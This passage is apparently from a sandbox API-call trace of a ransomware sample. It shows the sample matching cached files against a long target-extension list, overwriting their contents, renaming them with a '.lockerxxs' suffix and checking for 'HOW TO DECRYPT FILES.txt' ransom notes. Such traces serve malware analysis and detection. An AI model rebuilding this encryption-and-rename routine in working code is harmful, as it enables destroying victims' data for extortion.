pszSpec="*.myox") returned 0 [0083.876] lstrlenA (lpString="*.myox") returned 6 [0083.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.myo") returned 0 [0083.876] lstrlenA (lpString="*.myo") returned 5 [0083.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qbw") returned 0 [0083.876] lstrlenA (lpString="*.qbw") returned 5 [0083.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qbb") returned 0 [0083.876] lstrlenA (lpString="*.qbb") returned 5 [0083.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qbm") returned 0 [0083.877] lstrlenA (lpString="*.qbm") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qbo") returned 0 [0083.877] lstrlenA (lpString="*.qbo") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qbx") returned 0 [0083.877] lstrlenA (lpString="*.qbx") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qba") returned 0 [0083.877] lstrlenA (lpString="*.qba") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qby") returned 0 [0083.877] lstrlenA (lpString="*.qby") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qbj") returned 0 [0083.877] lstrlenA (lpString="*.qbj") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.ofx") returned 0 [0083.877] lstrlenA (lpString="*.ofx") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.qif") returned 0 [0083.877] lstrlenA (lpString="*.qif") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.mye") returned 0 [0083.877] lstrlenA (lpString="*.mye") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.mbox") returned 0 [0083.877] lstrlenA (lpString="*.mbox") returned 6 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.eml") returned 0 [0083.877] lstrlenA (lpString="*.eml") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.pst") returned 0 [0083.877] lstrlenA (lpString="*.pst") returned 5 [0083.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.ost") returned 0 [0083.877] lstrlenA (lpString="*.ost") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.idx") returned 0 [0083.878] lstrlenA (lpString="*.idx") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.dbx") returned 0 [0083.878] lstrlenA (lpString="*.dbx") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.sql") returned 0 [0083.878] lstrlenA (lpString="*.sql") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.mdb") returned 0 [0083.878] lstrlenA (lpString="*.mdb") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.fdb") returned 0 [0083.878] lstrlenA (lpString="*.fdb") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.wab") returned 0 [0083.878] lstrlenA (lpString="*.wab") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.dat") returned 0 [0083.878] lstrlenA (lpString="*.dat") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.txt") returned 0 [0083.878] lstrlenA (lpString="*.txt") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.jpeg") returned 0 [0083.878] lstrlenA (lpString="*.jpeg") returned 6 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.jpg") returned 0 [0083.878] lstrlenA (lpString="*.jpg") returned 5 [0083.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", pszSpec="*.png") returned 1 [0083.879] lstrlenA (lpString="*.png") returned 5 [0083.879] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" [0083.879] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" [0083.879] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png." [0083.879] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.lockerxxs" [0083.879] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.880] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3e3 [0083.880] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x458eefb0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x458eefb0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x458eefb0, dwHighDateTime=0x1d2faf3)) returned 1 [0083.880] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.880] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3bd, lpOverlapped=0x0) returned 1 [0083.882] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png") returned="AA42x3V[1].png" [0083.882] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.882] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3bd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3bd, lpOverlapped=0x0) returned 1 [0083.882] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.882] CloseHandle (hObject=0xa4) returned 1 [0083.882] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png.lockerxxs")) returned 1 [0083.884] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5341bc90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5341bc90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5341bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA58NQj[1].png", cAlternateFileName="AA58NQ~1.PNG")) returned 1 [0083.884] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.884] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA58NQj[1].png") returned 1 [0083.884] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA58NQj[1].png") returned 1 [0083.884] lstrcmpiA (lpString1="", lpString2="AA58NQj[1].png") returned -1 [0083.884] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png") returned="AA42x3V[1].png" [0083.884] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.884] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.884] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.884] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.884] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AA58NQj[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" [0083.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.ems") returned 0 [0083.884] lstrlenA (lpString="*.ems") returned 5 [0083.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.db") returned 0 [0083.884] lstrlenA (lpString="*.db") returned 4 [0083.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.dbf") returned 0 [0083.884] lstrlenA (lpString="*.dbf") returned 5 [0083.884] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.myox") returned 0 [0083.884] lstrlenA (lpString="*.myox") returned 6 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.myo") returned 0 [0083.885] lstrlenA (lpString="*.myo") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qbw") returned 0 [0083.885] lstrlenA (lpString="*.qbw") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qbb") returned 0 [0083.885] lstrlenA (lpString="*.qbb") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qbm") returned 0 [0083.885] lstrlenA (lpString="*.qbm") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qbo") returned 0 [0083.885] lstrlenA (lpString="*.qbo") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qbx") returned 0 [0083.885] lstrlenA (lpString="*.qbx") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qba") returned 0 [0083.885] lstrlenA (lpString="*.qba") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qby") returned 0 [0083.885] lstrlenA (lpString="*.qby") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qbj") returned 0 [0083.885] lstrlenA (lpString="*.qbj") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.ofx") returned 0 [0083.885] lstrlenA (lpString="*.ofx") returned 5 [0083.885] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.qif") returned 0 [0083.886] lstrlenA (lpString="*.qif") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.mye") returned 0 [0083.886] lstrlenA (lpString="*.mye") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.mbox") returned 0 [0083.886] lstrlenA (lpString="*.mbox") returned 6 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.eml") returned 0 [0083.886] lstrlenA (lpString="*.eml") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.pst") returned 0 [0083.886] lstrlenA (lpString="*.pst") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.ost") returned 0 [0083.886] lstrlenA (lpString="*.ost") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.idx") returned 0 [0083.886] lstrlenA (lpString="*.idx") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.dbx") returned 0 [0083.886] lstrlenA (lpString="*.dbx") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.sql") returned 0 [0083.886] lstrlenA (lpString="*.sql") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.mdb") returned 0 [0083.886] lstrlenA (lpString="*.mdb") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.fdb") returned 0 [0083.886] lstrlenA (lpString="*.fdb") returned 5 [0083.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.wab") returned 0 [0083.887] lstrlenA (lpString="*.wab") returned 5 [0083.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.dat") returned 0 [0083.887] lstrlenA (lpString="*.dat") returned 5 [0083.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.txt") returned 0 [0083.887] lstrlenA (lpString="*.txt") returned 5 [0083.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.jpeg") returned 0 [0083.887] lstrlenA (lpString="*.jpeg") returned 6 [0083.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.jpg") returned 0 [0083.887] lstrlenA (lpString="*.jpg") returned 5 [0083.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", pszSpec="*.png") returned 1 [0083.887] lstrlenA (lpString="*.png") returned 5 [0083.887] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" [0083.887] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" [0083.887] lstrcatA (in: 